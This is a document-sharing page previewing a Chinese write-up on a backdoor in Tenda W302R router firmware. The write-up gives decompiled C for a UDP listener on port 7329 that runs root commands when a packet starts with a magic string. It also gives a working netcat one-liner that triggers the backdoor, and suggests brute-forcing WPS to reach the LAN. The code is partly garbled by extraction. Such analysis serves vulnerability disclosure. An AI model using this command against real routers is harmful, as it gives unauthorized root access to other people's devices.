腾达Tenda 路由器后门分析.docx_第1页
腾达Tenda 路由器后门分析.docx_第2页
腾达Tenda 路由器后门分析.docx_第3页
腾达Tenda 路由器后门分析.docx_第4页
腾达Tenda 路由器后门分析.docx_第5页
已阅读5页,还剩2页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

一直有人认为D-Link是唯一的将在其产品中放置后门供应商,其实这里还有一个供应商也同样在产品中放置了后门,并且可以利用单个UDP数据包就搞定。她就是腾达。腾达W302R无线路由器的最新固件解压后,我开始寻找基于GoAheadWeb服务器指向的/bin/httpd,腾达做了很多特殊的修改:进入HTTP接收回路前,调用产生MfgThread的功能作为一个单独的线程的线程主函数InitMfgTask。HmmmInitMfgTask 和 MfgThread? 也许可能是manufacturing tasks(mfg有可能是MANUFACTURING的缩写,方便他们在研发过程中发生各种不能访问路由器管理功能时留下的维修接口,估计正式产品上市的时候忘记去掉了)首先MfgThread(Mfg进程)创建UDP socket且绑定在7329端口上然后线程进入一个recvfrom循环,从插座上阅读最多128字节。预计每一个接收到的UDP数据包,至少有14个字节的长度:现在最有意思的部分,接收到的UDP数据包,然后解析这个代码块:转C代码表示memset(rx_magic_string, 0, 0x80); memset(command_byte, 0, 0x80); memset(command_arg, 0, 0x80); memcpy(rx_magic_string, rx_buf, 9); command_byte0 = rx_buf11; memcpy(command_arg, rx_buf+12, rx_size-12); / If magic string doesnt match, stop processing this packet and wait for another packet if(strcmp(rx_magic_string, w302r_mfg) != 0) goto outer_receive_loop;我们可以看到,该线程被认为一个以下的数据结构包:struct command_packet_t char magic10; / 9 byte magic string (w302r_mfg), plus a NULL terminating byte char command_byte; char command_arg117; ;只要接收到的数据包开始字符串“w302r_mfg”,代码然后比较三个ASCII字符指定的命令字节对(1,X,E):为了方便,我已经转换剩余反汇编(至少重要位)后的C代码:switch(command_byte) case e: strcpy(tx_buf, w302r_mfg); tx_size = 9; break; case 1: if(strstr(command_arg, iwpriv) != NULL) tx_size = call_shell(command_arg, tx_buf, 0x800); else strcpy(tx_buf, 000000); tx_size = strlen(tx_buf); break; case x: tx_size = call_shell(command_arg, tx_buf, 0x800); break; default: goto outer_receive_loop; sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16); goto outer_receive_loop;以下操作对应的三个接受的命令字节:E-响应与预先定义的字符串,通常是ping测试1 - 蓄意让用户运行iwpriv命令X-允许你用root权限运行任何命令如果被指定为X的命令字节命令字节后的数据包(称为在上述代码command_arg),其余的被传递到call_shell通过POPEN,执行命令:更重要的是,call_shell填充tx_buf的命令,我们可以看到,从以前的C代码,发送回客户端的输出缓冲区!了解了MfgThread和其预期的数据包结构的功能,我们可以很容易用NC来执行这个后门:$ echo -ne w302r_mfgx00x/bin/ls | nc -u -q 5 7329 drwxr-xr-x 2 0 0 1363 webroot drwxr-xr-x 1 0 0 0 var drwxr-xr-x 5 0 0 43 usr drwxr-xr-x 1 0 0 0 tmp drwxr-xr-x 2 0 0 3 sys drwxr-xr-x 2 0 0 569 sbin dr-xr-xr-x 39 0 0 0 proc drwxr-xr-x 2 0 0 3 mnt drwxr-xr-x 1 0 0 0 media drwxr-xr-x 4 0 0 821 lib lrwxrwxrwx 1 0 0 11 init - bin/busybox drwxr-xr-x 2 0 0 3 home drwxr-xr-x 7 0 0 154 etc_ro drwxr-xr-x 1 0 0 0 etc drwxr-xr-x 1 0 0 0 dev drwxr-xr-x 2 1000 100 574 bin一点,曾经如此重要的小细节只监听局域网上,对广域网无法利用监听。然而,如果是利用通过没有暴力速率限制默认情况下启用WPS的无线网络,我可以用ReaverPro盒爆破WPS还不是花很多时间,该盒子提供接入WLAN和随后的根路由器上的shell(他们还附带一个默认WPA密钥,你可能想先尝试):神奇的字符串

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论